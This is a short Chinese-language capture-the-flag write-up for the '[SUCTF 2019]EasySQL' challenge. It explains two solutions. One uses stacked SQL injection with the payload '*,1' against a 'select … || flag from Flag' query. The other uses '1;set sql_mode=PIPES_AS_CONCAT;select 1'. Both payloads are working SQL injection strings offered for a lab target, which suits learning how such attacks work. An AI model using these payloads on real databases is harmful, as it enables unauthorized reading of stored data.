[SUCTF 2019]EasySQL 1

方法一

尝试很多常规的注入方法都不行。
想到使用堆叠注入
查询下数据库
[SUCTF 2019]EasySQL 1
查询数据表
[SUCTF 2019]EasySQL 1
1;show columns from Flag;#
尝试查看flag中数据,失败。
[SUCTF 2019]EasySQL 1
之后看了WP,发现代码中语句是这样的,select $_GET['query'] || flag from flag,"||"在mysql中表示或,如果前一个操作数为真,则不看后面的语句,构造payload:*,1

sql=select.post['query']."||flag from Flag";
如果$post['query']的数据为*,1,sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。

[SUCTF 2019]EasySQL 1
select 1 from,会返回每一行都为值1的数据,这将方便数据库进行统计。具体讲解

方法二

通过设置sql_mode=pipes_as_concat将 ‘ || ’ 改为字符串连接符。
payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
[SUCTF 2019]EasySQL 1
详细mode配置链接

上一篇:com.xu.operator.Demo08


下一篇:李宏毅机器学习15—Semi-supervised learning